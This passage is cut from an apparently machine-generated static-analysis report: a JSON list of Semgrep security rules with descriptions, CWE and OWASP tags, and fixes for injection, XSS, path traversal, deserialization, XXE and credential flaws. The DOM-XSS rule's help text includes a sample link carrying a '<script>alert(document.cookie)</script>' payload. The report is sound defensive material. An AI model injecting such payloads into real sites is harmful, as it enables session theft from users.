path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","id":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","name":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","id":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","name":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django","id":"python.django.db.ponyorm-django.ponyorm-django","name":"python.django.db.ponyorm-django.ponyorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.ponyorm-django.ponyorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","id":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","name":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.xss.ktor-request-xss.ktor-request-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"help":{"markdown":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation)\n - [https://twitter.com/peckshield/status/1510232640338608131](https://twitter.com/peckshield/status/1510232640338608131)\n - [https://twitter.com/FrankResearcher/status/1510239094777032713](https://twitter.com/FrankResearcher/status/1510239094777032713)\n - [https://twitter.com/larry0x/status/1510263618180464644](https://twitter.com/larry0x/status/1510263618180464644)\n - [https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9](https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9)\n - [https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f](https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f)\n","text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"helpUri":"https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","id":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","name":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ELB has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"ELB has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"ELB has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","id":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","name":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","id":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","name":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust)\n - [https://angular.io/api/router/ActivatedRoute](https://angular.io/api/router/ActivatedRoute)\n - [https://angular.io/api/router/ActivatedRouteSnapshot](https://angular.io/api/router/ActivatedRouteSnapshot)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","id":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","name":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"help":{"markdown":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)\n - [https://owasp.org/www-community/attacks/DOM_Based_XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)\n","text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss","id":"javascript.browser.security.dom-based-xss.dom-based-xss","name":"javascript.browser.security.dom-based-xss.dom-based-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.dom-based-xss.dom-based-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"help":{"markdown":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request)\n - [https://cwe.mitre.org/data/definitions/95.html](https://cwe.mitre.org/data/definitions/95.html)\n","text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","id":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","name":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint","id":"rust.rocket.sql.sqlx-taint.sqlx-taint","name":"rust.rocket.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express","id":"javascript.express.db.sqlite-express.sqlite-express","name":"javascript.express.db.sqlite-express.sqlite-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sqlite-express.sqlite-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"help":{"markdown":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls)\n - [https://golang.org/pkg/net/http/#ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS)\n","text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls","id":"go.lang.security.audit.net.use-tls.use-tls","name":"go.lang.security.audit.net.use-tls.use-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.use-tls.use-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"help":{"markdown":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","id":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","name":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-file-permissions.insecure-file-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","id":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","name":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` 